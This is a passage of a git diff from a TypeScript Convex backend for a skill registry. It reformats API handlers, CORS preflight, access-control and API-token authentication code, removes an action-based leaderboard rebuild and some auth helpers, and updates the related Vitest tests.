ownerUserId: targetUser._id,
slugs,
forceOverwriteSquatter,
});
return json(result, 200, headers);
})
return json(result, 200, headers)
} catch (error) {
const message = error instanceof Error ? error.message : "Restore failed";
if (message.toLowerCase().includes("forbidden")) {
return text("Forbidden", 403, headers);
const message = error instanceof Error ? error.message : 'Restore failed'
if (message.toLowerCase().includes('forbidden')) {
return text('Forbidden', 403, headers)
}
return text(message, 400, headers);
return text(message, 400, headers)
}
}
@@ -187,24 +172,22 @@ async function handleAdminReclaim(
ctx: ActionCtx,
_request: Request,
payload: Record<string, unknown>,
actorUserId: Id<"users">,
actorUserId: Id<'users'>,
headers: HeadersInit,
) {
const handle = typeof payload.handle === "string" ? payload.handle.trim().toLowerCase() : "";
if (!handle) return text("Missing handle", 400, headers);
const handle = typeof payload.handle === 'string' ? payload.handle.trim().toLowerCase() : ''
if (!handle) return text('Missing handle', 400, headers)
const slugs = Array.isArray(payload.slugs)
? payload.slugs.filter((s): s is string => typeof s === "string")
: [];
if (slugs.length === 0) return text("Missing slugs array", 400, headers);
if (slugs.length > 200) return text("Too many slugs (max 200)", 400, headers);
const slugs = Array.isArray(payload.slugs) ? payload.slugs.filter((s): s is string => typeof s === 'string') : []
if (slugs.length === 0) return text('Missing slugs array', 400, headers)
if (slugs.length > 200) return text('Too many slugs (max 200)', 400, headers)
const reason = typeof payload.reason === "string" ? payload.reason.trim() : undefined;
const reason = typeof payload.reason === 'string' ? payload.reason.trim() : undefined
const targetUser = await ctx.runQuery(api.users.getByHandle, { handle });
if (!targetUser?._id) return text("User not found", 404, headers);
const targetUser = await ctx.runQuery(api.users.getByHandle, { handle })
if (!targetUser?._id) return text('User not found', 404, headers)
const results: Array<{ slug: string; ok: boolean; action?: string; error?: string }> = [];
const results: Array<{ slug: string; ok: boolean; action?: string; error?: string }> = []
for (const slug of slugs) {
try {
const result = (await ctx.runMutation(internal.skills.reclaimSlugInternal, {
@@ -213,85 +196,52 @@ async function handleAdminReclaim(
rightfulOwnerUserId: targetUser._id,
reason,
transferRootSlugOnly: true,
})) as { action?: string };
results.push({ slug, ok: true, action: result.action });
})) as { action?: string }
results.push({ slug, ok: true, action: result.action })
} catch (error) {
const message = error instanceof Error ? error.message : "Reclaim failed";
results.push({ slug, ok: false, error: message });
const message = error instanceof Error ? error.message : 'Reclaim failed'
results.push({ slug, ok: false, error: message })
}
}
const succeeded = results.filter((r) => r.ok).length;
const failed = results.filter((r) => !r.ok).length;
const succeeded = results.filter((r) => r.ok).length
const failed = results.filter((r) => !r.ok).length
return json({ ok: true, results, succeeded, failed }, 200, headers);
}
async function handleAdminEnsurePublisher(
ctx: ActionCtx,
payload: Record<string, unknown>,
actorUserId: Id<"users">,
headers: HeadersInit,
) {
const handle = typeof payload.handle === "string" ? payload.handle.trim().toLowerCase() : "";
if (!handle) return text("Missing handle", 400, headers);
const displayName =
typeof payload.displayName === "string" ? payload.displayName.trim() : undefined;
const trusted = typeof payload.trusted === "boolean" ? payload.trusted : true;
try {
const result = await ctx.runMutation(internal.publishers.ensureOrgPublisherHandleInternal, {
actorUserId,
handle,
displayName,
trusted,
});
return json(result, 200, headers);
} catch (error) {
const message = error instanceof Error ? error.message : "Publisher ensure failed";
if (message.toLowerCase().includes("forbidden")) {
return text("Forbidden", 403, headers);
}
if (message.toLowerCase().includes("not found")) {
return text(message, 404, headers);
}
return text(message, 400, headers);
}
return json({ ok: true, results, succeeded, failed }, 200, headers)
}
export async function usersListV1Handler(ctx: ActionCtx, request: Request) {
const rate = await applyRateLimit(ctx, request, "read");
if (!rate.ok) return rate.response;
const rate = await applyRateLimit(ctx, request, 'read')
if (!rate.ok) return rate.response
const url = new URL(request.url);
const limitRaw = toOptionalNumber(url.searchParams.get("limit"));
const query = url.searchParams.get("q") ?? url.searchParams.get("query") ?? "";
const url = new URL(request.url)
const limitRaw = toOptionalNumber(url.searchParams.get('limit'))
const query = url.searchParams.get('q') ?? url.searchParams.get('query') ?? ''
let actorUserId: Id<"users">;
let actorUserId: Id<'users'>
try {
const auth = await requireApiTokenUser(ctx, request);
actorUserId = auth.userId;
const auth = await requireApiTokenUser(ctx, request)
actorUserId = auth.userId
} catch {
return text("Unauthorized", 401, rate.headers);
return text('Unauthorized', 401, rate.headers)
}
const limit = Math.min(Math.max(limitRaw ?? 20, 1), 200);
const limit = Math.min(Math.max(limitRaw ?? 20, 1), 200)
try {
const result = await ctx.runQuery(internal.users.searchInternal, {
actorUserId,
query,
limit,
});
return json(result, 200, rate.headers);
})
return json(result, 200, rate.headers)
} catch (error) {
const message = error instanceof Error ? error.message : "User search failed";
if (message.toLowerCase().includes("forbidden")) {
return text("Forbidden", 403, rate.headers);
const message = error instanceof Error ? error.message : 'User search failed'
if (message.toLowerCase().includes('forbidden')) {
return text('Forbidden', 403, rate.headers)
}
if (message.toLowerCase().includes("unauthorized")) {
return text("Unauthorized", 401, rate.headers);
if (message.toLowerCase().includes('unauthorized')) {
return text('Unauthorized', 401, rate.headers)
}
return text(message, 400, rate.headers);
return text(message, 400, rate.headers)
}
}
+9 -9
View File
@@ -1,14 +1,14 @@
import type { ActionCtx } from "../_generated/server";
import { requireApiTokenUser } from "../lib/apiTokenAuth";
import { applyRateLimit } from "../lib/httpRateLimit";
import { json, text } from "./shared";
import type { ActionCtx } from '../_generated/server'
import { requireApiTokenUser } from '../lib/apiTokenAuth'
import { applyRateLimit } from '../lib/httpRateLimit'
import { json, text } from './shared'
export async function whoamiV1Handler(ctx: ActionCtx, request: Request) {
const rate = await applyRateLimit(ctx, request, "read");
if (!rate.ok) return rate.response;
const rate = await applyRateLimit(ctx, request, 'read')
if (!rate.ok) return rate.response
try {
const { user } = await requireApiTokenUser(ctx, request);
const { user } = await requireApiTokenUser(ctx, request)
return json(
{
user: {
@@ -19,8 +19,8 @@ export async function whoamiV1Handler(ctx: ActionCtx, request: Request) {
},
200,
rate.headers,
);
)
} catch {
return text("Unauthorized", 401, rate.headers);
return text('Unauthorized', 401, rate.headers)
}
}
+21 -17
View File
@@ -1,26 +1,29 @@
import { httpAction } from "./functions";
import { corsHeaders, mergeHeaders } from "./lib/httpHeaders";
import { httpAction } from './_generated/server'
import { corsHeaders, mergeHeaders } from './lib/httpHeaders'
function getHeader(request: Request, name: string) {
return request.headers.get(name) ?? request.headers.get(name.toLowerCase());
return request.headers.get(name) ?? request.headers.get(name.toLowerCase())
}
export function buildPreflightHeaders(request: Request) {
const requestedHeaders = getHeader(request, "Access-Control-Request-Headers")?.trim() || null;
const requestedMethod = getHeader(request, "Access-Control-Request-Method")?.trim() || null;
const requestedHeaders = getHeader(request, 'Access-Control-Request-Headers')?.trim() || null
const requestedMethod = getHeader(request, 'Access-Control-Request-Method')?.trim() || null
const vary = [
...(requestedMethod ? ["Access-Control-Request-Method"] : []),
...(requestedHeaders ? ["Access-Control-Request-Headers"] : []),
].join(", ");
...(requestedMethod ? ['Access-Control-Request-Method'] : []),
...(requestedHeaders ? ['Access-Control-Request-Headers'] : []),
].join(', ')
return mergeHeaders(corsHeaders(), {
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD",
"Access-Control-Allow-Headers":
requestedHeaders ?? "Content-Type, Authorization, Digest, X-Clawhub-Version",
"Access-Control-Max-Age": "86400",
...(vary ? { Vary: vary } : {}),
});
return mergeHeaders(
corsHeaders(),
{
'Access-Control-Allow-Methods': 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD',
'Access-Control-Allow-Headers':
requestedHeaders ?? 'Content-Type, Authorization, Digest, X-Clawhub-Version',
'Access-Control-Max-Age': '86400',
...(vary ? { Vary: vary } : {}),
},
)
}
export const preflightHandler = httpAction(async (_ctx, request) => {
@@ -29,5 +32,6 @@ export const preflightHandler = httpAction(async (_ctx, request) => {
return new Response(null, {
status: 204,
headers: buildPreflightHeaders(request),
});
});
})
})
-40
View File
@@ -1,40 +0,0 @@
/* @vitest-environment node */
import { describe, expect, it, vi } from "vitest";
import { rebuildTrendingLeaderboardInternal } from "./leaderboards";
const handler = (
rebuildTrendingLeaderboardInternal as unknown as {
_handler: (ctx: unknown, args: { limit?: number }) => Promise<unknown>;
}
)._handler;
describe("leaderboards.rebuildTrendingLeaderboardInternal", () => {
it("schedules the action-based rebuild instead of reading daily stats inline", async () => {
const runAfter = vi.fn().mockResolvedValue("job-1");
const ctx = {
db: {
get: vi.fn(),
insert: vi.fn(),
normalizeId: vi.fn(),
patch: vi.fn(),
query: vi.fn(),
replace: vi.fn(),
delete: vi.fn(),
system: {
get: vi.fn(),
query: vi.fn(),
},
},
scheduler: {
runAfter,
},
} as never;
const result = await handler(ctx, { limit: 500 });
expect(runAfter).toHaveBeenCalledTimes(1);
expect(runAfter.mock.calls[0]?.[0]).toBe(0);
expect(runAfter.mock.calls[0]?.[2]).toEqual({ limit: 200 });
expect(result).toEqual({ ok: true, count: 0, scheduled: true });
});
});
+30 -132
View File
@@ -1,141 +1,39 @@
import { v } from "convex/values";
import { internal } from "./_generated/api";
import { internalAction, internalMutation, internalQuery } from "./functions";
import {
buildTrendingEntriesFromDailyRows,
getTrendingRange,
queryDailyStats,
takeTopNonSuspiciousTrendingEntries,
takeTopTrendingEntries,
TRENDING_LEADERBOARD_KIND,
TRENDING_NON_SUSPICIOUS_LEADERBOARD_KIND,
} from "./lib/leaderboards";
import { v } from 'convex/values'
import { internalMutation } from './_generated/server'
import { buildTrendingLeaderboard } from './lib/leaderboards'
const MAX_TRENDING_LIMIT = 200;
const KEEP_LEADERBOARD_ENTRIES = 3;
// ---------------------------------------------------------------------------
// Action → Query → Mutation pattern (avoids 32K document-read limit)
// ---------------------------------------------------------------------------
/** Reads a single day's skillDailyStats in its own query transaction. */
export const getDailyStats = internalQuery({
args: { day: v.number() },
handler: async (ctx, { day }) => {
const rows = await queryDailyStats(ctx, day);
return rows.map((r) => ({ skillId: r.skillId, installs: r.installs, downloads: r.downloads }));
},
});
export const filterTopNonSuspiciousTrendingEntries = internalQuery({
args: {
entries: v.array(
v.object({
skillId: v.id("skills"),
score: v.number(),
installs: v.number(),
downloads: v.number(),
}),
),
limit: v.number(),
},
handler: async (ctx, { entries, limit }) => {
return takeTopNonSuspiciousTrendingEntries(ctx, entries, limit);
},
});
/** Writes the pre-computed leaderboard and prunes old entries. */
export const writeTrendingLeaderboard = internalMutation({
args: {
kind: v.string(),
items: v.array(
v.object({
skillId: v.id("skills"),
score: v.number(),
installs: v.number(),
downloads: v.number(),
}),
),
startDay: v.number(),
endDay: v.number(),
},
handler: async (ctx, { kind, items, startDay, endDay }) => {
const now = Date.now();
await ctx.db.insert("skillLeaderboards", {
kind,
generatedAt: now,
rangeStartDay: startDay,
rangeEndDay: endDay,
items,
});
const recent = await ctx.db
.query("skillLeaderboards")
.withIndex("by_kind", (q) => q.eq("kind", kind))
.order("desc")
.take(KEEP_LEADERBOARD_ENTRIES + 5);
for (const entry of recent.slice(KEEP_LEADERBOARD_ENTRIES)) {
await ctx.db.delete(entry._id);
}
return { ok: true as const, count: items.length };
},
});
/** Orchestrates the rebuild: queries each day separately, aggregates, writes. */
export const rebuildTrendingLeaderboardAction = internalAction({
args: { limit: v.optional(v.number()) },
handler: async (ctx, args): Promise<{ ok: true; count: number }> => {
const limit = clampInt(args.limit ?? MAX_TRENDING_LIMIT, 1, MAX_TRENDING_LIMIT);
const now = Date.now();
const { startDay, endDay } = getTrendingRange(now);
const dayKeys = Array.from({ length: endDay - startDay + 1 }, (_, i) => startDay + i);
const perDayRows = await Promise.all(
dayKeys.map((day) => ctx.runQuery(internal.leaderboards.getDailyStats, { day })),
);
const entries = buildTrendingEntriesFromDailyRows(perDayRows);
const items = takeTopTrendingEntries(entries, limit);
const nonSuspicious = await ctx.runQuery(
internal.leaderboards.filterTopNonSuspiciousTrendingEntries,
{ entries, limit },
);
await ctx.runMutation(internal.leaderboards.writeTrendingLeaderboard, {
kind: TRENDING_LEADERBOARD_KIND,
items,
startDay,
endDay,
});
await ctx.runMutation(internal.leaderboards.writeTrendingLeaderboard, {
kind: TRENDING_NON_SUSPICIOUS_LEADERBOARD_KIND,
items: nonSuspicious,
startDay,
endDay,
});
return { ok: true as const, count: items.length };
},
});
// ---------------------------------------------------------------------------
// Legacy single-mutation entrypoint kept as a compatibility shim.
// Old callers may still invoke this function name directly, but the
// rebuild itself must happen in the action/query/mutation pipeline so each
// daily read happens in its own transaction.
// ---------------------------------------------------------------------------
const MAX_TRENDING_LIMIT = 200
const KEEP_LEADERBOARD_ENTRIES = 3
export const rebuildTrendingLeaderboardInternal = internalMutation({
args: { limit: v.optional(v.number()) },
handler: async (ctx, args) => {
const limit = clampInt(args.limit ?? MAX_TRENDING_LIMIT, 1, MAX_TRENDING_LIMIT);
await ctx.scheduler.runAfter(0, internal.leaderboards.rebuildTrendingLeaderboardAction, {
limit,
});
return { ok: true as const, count: 0, scheduled: true as const };
const limit = clampInt(args.limit ?? MAX_TRENDING_LIMIT, 1, MAX_TRENDING_LIMIT)
const now = Date.now()
const { startDay, endDay, items } = await buildTrendingLeaderboard(ctx, { limit, now })
await ctx.db.insert('skillLeaderboards', {
kind: 'trending',
generatedAt: now,
rangeStartDay: startDay,
rangeEndDay: endDay,
items,
})
const recent = await ctx.db
.query('skillLeaderboards')
.withIndex('by_kind', (q) => q.eq('kind', 'trending'))
.order('desc')
.take(KEEP_LEADERBOARD_ENTRIES + 5)
for (const entry of recent.slice(KEEP_LEADERBOARD_ENTRIES)) {
await ctx.db.delete(entry._id)
}
return { ok: true as const, count: items.length }
},
});
})
function clampInt(value: number, min: number, max: number) {
return Math.min(Math.max(value, min), max);
return Math.min(Math.max(value, min), max)
}
+65 -91
View File
@@ -1,131 +1,105 @@
import { describe, expect, it, vi } from "vitest";
import { describe, expect, it, vi } from 'vitest'
vi.mock("@convex-dev/auth/server", () => ({
vi.mock('@convex-dev/auth/server', () => ({
getAuthUserId: vi.fn(),
authTables: {},
}));
}))
const { getAuthUserId } = await import("@convex-dev/auth/server");
const { assertAdmin, assertModerator, assertRole, requireUser, requireUserFromAction } =
await import("./access");
const { getAuthUserId } = await import('@convex-dev/auth/server')
const {
assertAdmin,
assertModerator,
assertRole,
requireUser,
requireUserFromAction,
} = await import('./access')
describe("access.requireUser", () => {
it("throws when auth is missing", async () => {
vi.mocked(getAuthUserId).mockResolvedValue(null);
describe('access.requireUser', () => {
it('throws when auth is missing', async () => {
vi.mocked(getAuthUserId).mockResolvedValue(null)
await expect(
requireUser({
db: { get: vi.fn() },
} as never),
).rejects.toThrow("Unauthorized");
});
).rejects.toThrow('Unauthorized')
})
it("throws when user is deleted/deactivated/missing", async () => {
vi.mocked(getAuthUserId).mockResolvedValue("users:1" as never);
it('throws when user is deleted/deactivated/missing', async () => {
vi.mocked(getAuthUserId).mockResolvedValue('users:1' as never)
for (const value of [
null,
{ _id: "users:1", deletedAt: Date.now() },
{ _id: "users:1", deactivatedAt: Date.now() },
]) {
const dbGet = vi.fn().mockResolvedValue(value as never);
for (const value of [null, { _id: 'users:1', deletedAt: Date.now() }, { _id: 'users:1', deactivatedAt: Date.now() }]) {
const dbGet = vi.fn().mockResolvedValue(value as never)
await expect(
requireUser({
db: { get: dbGet },
} as never),
).rejects.toThrow("User not found");
).rejects.toThrow('User not found')
}
});
})
it("throws when auth resolves to an invalid user id", async () => {
vi.mocked(getAuthUserId).mockResolvedValue("users:broken" as never);
const dbGet = vi.fn().mockRejectedValue(new Error("Table mismatch"));
await expect(
requireUser({
db: { get: dbGet },
} as never),
).rejects.toThrow("User not found");
});
it("returns auth user when active", async () => {
vi.mocked(getAuthUserId).mockResolvedValue("users:2" as never);
const user = { _id: "users:2", role: "user" };
const dbGet = vi.fn().mockResolvedValue(user as never);
it('returns auth user when active', async () => {
vi.mocked(getAuthUserId).mockResolvedValue('users:2' as never)
const user = { _id: 'users:2', role: 'user' }
const dbGet = vi.fn().mockResolvedValue(user as never)
const result = await requireUser({
db: { get: dbGet },
} as never);
} as never)
expect(dbGet).toHaveBeenCalledWith("users:2");
expect(result).toEqual({ userId: "users:2", user });
});
});
expect(dbGet).toHaveBeenCalledWith('users:2')
expect(result).toEqual({ userId: 'users:2', user })
})
})
describe("access.requireUserFromAction", () => {
it("throws when auth is missing", async () => {
vi.mocked(getAuthUserId).mockResolvedValue(null);
describe('access.requireUserFromAction', () => {
it('throws when auth is missing', async () => {
vi.mocked(getAuthUserId).mockResolvedValue(null)
await expect(
requireUserFromAction({
runQuery: vi.fn(),
} as never),
).rejects.toThrow("Unauthorized");
});
).rejects.toThrow('Unauthorized')
})
it("throws when action lookup returns deleted/deactivated/missing user", async () => {
vi.mocked(getAuthUserId).mockResolvedValue("users:1" as never);
it('throws when action lookup returns deleted/deactivated/missing user', async () => {
vi.mocked(getAuthUserId).mockResolvedValue('users:1' as never)
for (const value of [
null,
{ _id: "users:1", deletedAt: Date.now() },
{ _id: "users:1", deactivatedAt: Date.now() },
]) {
const runQuery = vi.fn().mockResolvedValue(value as never);
for (const value of [null, { _id: 'users:1', deletedAt: Date.now() }, { _id: 'users:1', deactivatedAt: Date.now() }]) {
const runQuery = vi.fn().mockResolvedValue(value as never)
await expect(
requireUserFromAction({
runQuery,
} as never),
).rejects.toThrow("User not found");
).rejects.toThrow('User not found')
}
});
})
it("throws when action auth resolves to an invalid user id", async () => {
vi.mocked(getAuthUserId).mockResolvedValue("users:broken" as never);
const runQuery = vi.fn().mockRejectedValue(new Error("Table mismatch"));
await expect(
requireUserFromAction({
runQuery,
} as never),
).rejects.toThrow("User not found");
});
it("returns active user from action query", async () => {
vi.mocked(getAuthUserId).mockResolvedValue("users:9" as never);
const user = { _id: "users:9", role: "admin" };
const runQuery = vi.fn().mockResolvedValue(user as never);
it('returns active user from action query', async () => {
vi.mocked(getAuthUserId).mockResolvedValue('users:9' as never)
const user = { _id: 'users:9', role: 'admin' }
const runQuery = vi.fn().mockResolvedValue(user as never)
const result = await requireUserFromAction({
runQuery,
} as never);
} as never)
expect(runQuery).toHaveBeenCalledTimes(1);
expect(result).toEqual({ userId: "users:9", user });
});
});
expect(runQuery).toHaveBeenCalledTimes(1)
expect(result).toEqual({ userId: 'users:9', user })
})
})
describe("access role assertions", () => {
it("assertRole allows matching roles and rejects missing role", () => {
expect(() => assertRole({ role: "admin" } as never, ["admin"])).not.toThrow();
expect(() => assertRole({ role: undefined } as never, ["admin"])).toThrow("Forbidden");
expect(() => assertRole({ role: "user" } as never, ["admin"])).toThrow("Forbidden");
});
describe('access role assertions', () => {
it('assertRole allows matching roles and rejects missing role', () => {
expect(() => assertRole({ role: 'admin' } as never, ['admin'])).not.toThrow()
expect(() => assertRole({ role: undefined } as never, ['admin'])).toThrow('Forbidden')
expect(() => assertRole({ role: 'user' } as never, ['admin'])).toThrow('Forbidden')
})
it("assertAdmin/assertModerator enforce expected policy", () => {
expect(() => assertAdmin({ role: "admin" } as never)).not.toThrow();
expect(() => assertAdmin({ role: "moderator" } as never)).toThrow("Forbidden");
it('assertAdmin/assertModerator enforce expected policy', () => {
expect(() => assertAdmin({ role: 'admin' } as never)).not.toThrow()
expect(() => assertAdmin({ role: 'moderator' } as never)).toThrow('Forbidden')
expect(() => assertModerator({ role: "admin" } as never)).not.toThrow();
expect(() => assertModerator({ role: "moderator" } as never)).not.toThrow();
expect(() => assertModerator({ role: "user" } as never)).toThrow("Forbidden");
});
});
expect(() => assertModerator({ role: 'admin' } as never)).not.toThrow()
expect(() => assertModerator({ role: 'moderator' } as never)).not.toThrow()
expect(() => assertModerator({ role: 'user' } as never)).toThrow('Forbidden')
})
})
+22 -62
View File
@@ -1,76 +1,36 @@
import { getAuthUserId } from "@convex-dev/auth/server";
import { internal } from "../_generated/api";
import type { Doc, Id } from "../_generated/dataModel";
import type { ActionCtx, MutationCtx, QueryCtx } from "../_generated/server";
import { getAuthUserId } from '@convex-dev/auth/server'
import { internal } from '../_generated/api'
import type { Doc } from '../_generated/dataModel'
import type { ActionCtx, MutationCtx, QueryCtx } from '../_generated/server'
export type Role = "admin" | "moderator" | "user";
export async function getOptionalActiveAuthUserId(
ctx: MutationCtx | QueryCtx,
): Promise<Id<"users"> | undefined> {
try {
const userId = await getAuthUserId(ctx);
if (!userId) return undefined;
const user = await ctx.db.get(userId);
if (!user || user.deletedAt || user.deactivatedAt) return undefined;
return userId;
} catch {
return undefined;
}
}
export async function getOptionalActiveAuthUserIdFromAction(
ctx: ActionCtx,
): Promise<Id<"users"> | undefined> {
try {
const userId = await getAuthUserId(ctx);
if (!userId) return undefined;
const user = await ctx.runQuery(internal.users.getByIdInternal, { userId });
if (!user || user.deletedAt || user.deactivatedAt) return undefined;
return userId;
} catch {
return undefined;
}
}
export type Role = 'admin' | 'moderator' | 'user'
export async function requireUser(ctx: MutationCtx | QueryCtx) {
const userId = await getAuthUserId(ctx);
if (!userId) throw new Error("Unauthorized");
let user: Doc<"users"> | null;
try {
user = await ctx.db.get(userId);
} catch {
throw new Error("User not found");
}
if (!user || user.deletedAt || user.deactivatedAt) throw new Error("User not found");
return { userId, user };
const userId = await getAuthUserId(ctx)
if (!userId) throw new Error('Unauthorized')
const user = await ctx.db.get(userId)
if (!user || user.deletedAt || user.deactivatedAt) throw new Error('User not found')
return { userId, user }
}
export async function requireUserFromAction(
ctx: ActionCtx,
): Promise<{ userId: Id<"users">; user: Doc<"users"> }> {
const userId = await getAuthUserId(ctx);
if (!userId) throw new Error("Unauthorized");
let user: Doc<"users"> | null;
try {
user = await ctx.runQuery(internal.users.getByIdInternal, { userId });
} catch {
throw new Error("User not found");
}
if (!user || user.deletedAt || user.deactivatedAt) throw new Error("User not found");
return { userId, user: user as Doc<"users"> };
export async function requireUserFromAction(ctx: ActionCtx) {
const userId = await getAuthUserId(ctx)
if (!userId) throw new Error('Unauthorized')
const user = await ctx.runQuery(internal.users.getByIdInternal, { userId })
if (!user || user.deletedAt || user.deactivatedAt) throw new Error('User not found')
return { userId, user: user as Doc<'users'> }
}
export function assertRole(user: Doc<"users">, allowed: Role[]) {
export function assertRole(user: Doc<'users'>, allowed: Role[]) {
if (!user.role || !allowed.includes(user.role as Role)) {
throw new Error("Forbidden");
throw new Error('Forbidden')
}
}
export function assertAdmin(user: Doc<"users">) {
assertRole(user, ["admin"]);
export function assertAdmin(user: Doc<'users'>) {
assertRole(user, ['admin'])
}
export function assertModerator(user: Doc<"users">) {
assertRole(user, ["admin", "moderator"]);
export function assertModerator(user: Doc<'users'>) {
assertRole(user, ['admin', 'moderator'])
}
+63 -63
View File
@@ -1,110 +1,110 @@
import { describe, expect, it, vi } from "vitest";
import { getOptionalApiTokenUserId } from "./apiTokenAuth";
import { hashToken } from "./tokens";
import { describe, expect, it, vi } from 'vitest'
import { getOptionalApiTokenUserId } from './apiTokenAuth'
import { hashToken } from './tokens'
describe("getOptionalApiTokenUserId", () => {
it("returns null when auth header is missing", async () => {
describe('getOptionalApiTokenUserId', () => {
it('returns null when auth header is missing', async () => {
const ctx = {
runQuery: vi.fn(),
};
const request = new Request("https://example.com");
}
const request = new Request('https://example.com')
const userId = await getOptionalApiTokenUserId(ctx as never, request);
const userId = await getOptionalApiTokenUserId(ctx as never, request)
expect(userId).toBeNull();
expect(ctx.runQuery).not.toHaveBeenCalled();
});
expect(userId).toBeNull()
expect(ctx.runQuery).not.toHaveBeenCalled()
})
it("returns null for unknown token", async () => {
it('returns null for unknown token', async () => {
const ctx = {
runQuery: vi.fn().mockResolvedValue(null),
};
const request = new Request("https://example.com", {
headers: { authorization: "Bearer token-1" },
});
}
const request = new Request('https://example.com', {
headers: { authorization: 'Bearer token-1' },
})
const userId = await getOptionalApiTokenUserId(ctx as never, request);
const userId = await getOptionalApiTokenUserId(ctx as never, request)
expect(userId).toBeNull();
expect(ctx.runQuery).toHaveBeenCalledTimes(1);
expect(userId).toBeNull()
expect(ctx.runQuery).toHaveBeenCalledTimes(1)
expect(ctx.runQuery.mock.calls[0]?.[1]).toEqual({
tokenHash: await hashToken("token-1"),
});
});
tokenHash: await hashToken('token-1'),
})
})
it("returns user id when token and user are valid", async () => {
const tokenId = "apiTokens_1";
const expectedUserId = "users_1";
it('returns user id when token and user are valid', async () => {
const tokenId = 'apiTokens_1'
const expectedUserId = 'users_1'
const ctx = {
runQuery: vi
.fn()
.mockImplementation(async (_fn, args: { tokenHash?: string; tokenId?: string }) => {
if (args.tokenHash) {
return { _id: tokenId, revokedAt: undefined };
return { _id: tokenId, revokedAt: undefined }
}
if (args.tokenId) {
return { _id: expectedUserId, deletedAt: undefined };
return { _id: expectedUserId, deletedAt: undefined }
}
return null;
return null
}),
};
const request = new Request("https://example.com", {
headers: { authorization: "Bearer token-2" },
});
}
const request = new Request('https://example.com', {
headers: { authorization: 'Bearer token-2' },
})
const userId = await getOptionalApiTokenUserId(ctx as never, request);
const userId = await getOptionalApiTokenUserId(ctx as never, request)
expect(userId).toBe(expectedUserId);
expect(ctx.runQuery).toHaveBeenCalledTimes(2);
});
expect(userId).toBe(expectedUserId)
expect(ctx.runQuery).toHaveBeenCalledTimes(2)
})
it("returns null when user is deleted", async () => {
const tokenId = "apiTokens_2";
it('returns null when user is deleted', async () => {
const tokenId = 'apiTokens_2'
const ctx = {
runQuery: vi
.fn()
.mockImplementation(async (_fn, args: { tokenHash?: string; tokenId?: string }) => {
if (args.tokenHash) {
return { _id: tokenId, revokedAt: undefined };
return { _id: tokenId, revokedAt: undefined }
}
if (args.tokenId) {
return { _id: "users_deleted", deletedAt: Date.now() };
return { _id: 'users_deleted', deletedAt: Date.now() }
}
return null;
return null
}),
};
const request = new Request("https://example.com", {
headers: { authorization: "Bearer token-3" },
});
}
const request = new Request('https://example.com', {
headers: { authorization: 'Bearer token-3' },
})
const userId = await getOptionalApiTokenUserId(ctx as never, request);
const userId = await getOptionalApiTokenUserId(ctx as never, request)
expect(userId).toBeNull();
expect(ctx.runQuery).toHaveBeenCalledTimes(2);
});
expect(userId).toBeNull()
expect(ctx.runQuery).toHaveBeenCalledTimes(2)
})
it("returns null when user is deactivated", async () => {
const tokenId = "apiTokens_3";
it('returns null when user is deactivated', async () => {
const tokenId = 'apiTokens_3'
const ctx = {
runQuery: vi
.fn()
.mockImplementation(async (_fn, args: { tokenHash?: string; tokenId?: string }) => {
if (args.tokenHash) {
return { _id: tokenId, revokedAt: undefined };
return { _id: tokenId, revokedAt: undefined }
}
if (args.tokenId) {
return { _id: "users_deactivated", deactivatedAt: Date.now() };
return { _id: 'users_deactivated', deactivatedAt: Date.now() }
}
return null;
return null
}),
};
const request = new Request("https://example.com", {
headers: { authorization: "Bearer token-4" },
});
}
const request = new Request('https://example.com', {
headers: { authorization: 'Bearer token-4' },
})
const userId = await getOptionalApiTokenUserId(ctx as never, request);
const userId = await getOptionalApiTokenUserId(ctx as never, request)
expect(userId).toBeNull();
expect(ctx.runQuery).toHaveBeenCalledTimes(2);
});
});
expect(userId).toBeNull()
expect(ctx.runQuery).toHaveBeenCalledTimes(2)
})
})
+36 -107
View File
@@ -1,127 +1,56 @@
import { ConvexError } from "convex/values";
import { internal } from "../_generated/api";
import type { Doc } from "../_generated/dataModel";
import type { ActionCtx } from "../_generated/server";
import { hashToken } from "./tokens";
import { ConvexError } from 'convex/values'
import { internal } from '../_generated/api'
import type { Doc } from '../_generated/dataModel'
import type { ActionCtx } from '../_generated/server'
import { hashToken } from './tokens'
type TokenAuthResult = { user: Doc<"users">; userId: Doc<"users">["_id"] };
type ApiTokenDoc = Doc<"apiTokens">;
type PackagePublishTokenAuthResult = {
kind: "github-actions";
publishToken: Doc<"packagePublishTokens">;
};
type PackagePublishTokenDoc = Doc<"packagePublishTokens">;
type UserPackagePublishAuthResult = {
kind: "user";
user: Doc<"users">;
userId: Doc<"users">["_id"];
};
const internalRefs = internal as unknown as {
tokens: {
getByHashInternal: unknown;
getUserForTokenInternal: unknown;
touchInternal: unknown;
};
packagePublishTokens: {
getByHashInternal: unknown;
touchInternal: unknown;
};
};
type TokenAuthResult = { user: Doc<'users'>; userId: Doc<'users'>['_id'] }
export async function requireApiTokenUser(
ctx: ActionCtx,
request: Request,
): Promise<TokenAuthResult> {
const header = request.headers.get("authorization") ?? request.headers.get("Authorization");
const token = parseBearerToken(header);
if (!token) throw new ConvexError("Unauthorized");
const header = request.headers.get('authorization') ?? request.headers.get('Authorization')
const token = parseBearerToken(header)
if (!token) throw new ConvexError('Unauthorized')
const tokenHash = await hashToken(token);
const apiToken = (await ctx.runQuery(
internalRefs.tokens.getByHashInternal as never,
{
tokenHash,
} as never,
)) as ApiTokenDoc | null;
if (!apiToken || apiToken.revokedAt) throw new ConvexError("Unauthorized");
const tokenHash = await hashToken(token)
const apiToken = await ctx.runQuery(internal.tokens.getByHashInternal, { tokenHash })
if (!apiToken || apiToken.revokedAt) throw new ConvexError('Unauthorized')
const user = (await ctx.runQuery(
internalRefs.tokens.getUserForTokenInternal as never,
{
tokenId: apiToken._id,
} as never,
)) as Doc<"users"> | null;
if (!user || user.deletedAt || user.deactivatedAt) throw new ConvexError("Unauthorized");
const user = await ctx.runQuery(internal.tokens.getUserForTokenInternal, {
tokenId: apiToken._id,
})
if (!user || user.deletedAt || user.deactivatedAt) throw new ConvexError('Unauthorized')
await ctx.runMutation(
internalRefs.tokens.touchInternal as never,
{ tokenId: apiToken._id } as never,
);
return { user, userId: user._id };
await ctx.runMutation(internal.tokens.touchInternal, { tokenId: apiToken._id })
return { user, userId: user._id }
}
export async function getOptionalApiTokenUserId(
ctx: ActionCtx,
request: Request,
): Promise<Doc<"users">["_id"] | null> {
const header = request.headers.get("authorization") ?? request.headers.get("Authorization");
const token = parseBearerToken(header);
if (!token) return null;
): Promise<Doc<'users'>['_id'] | null> {
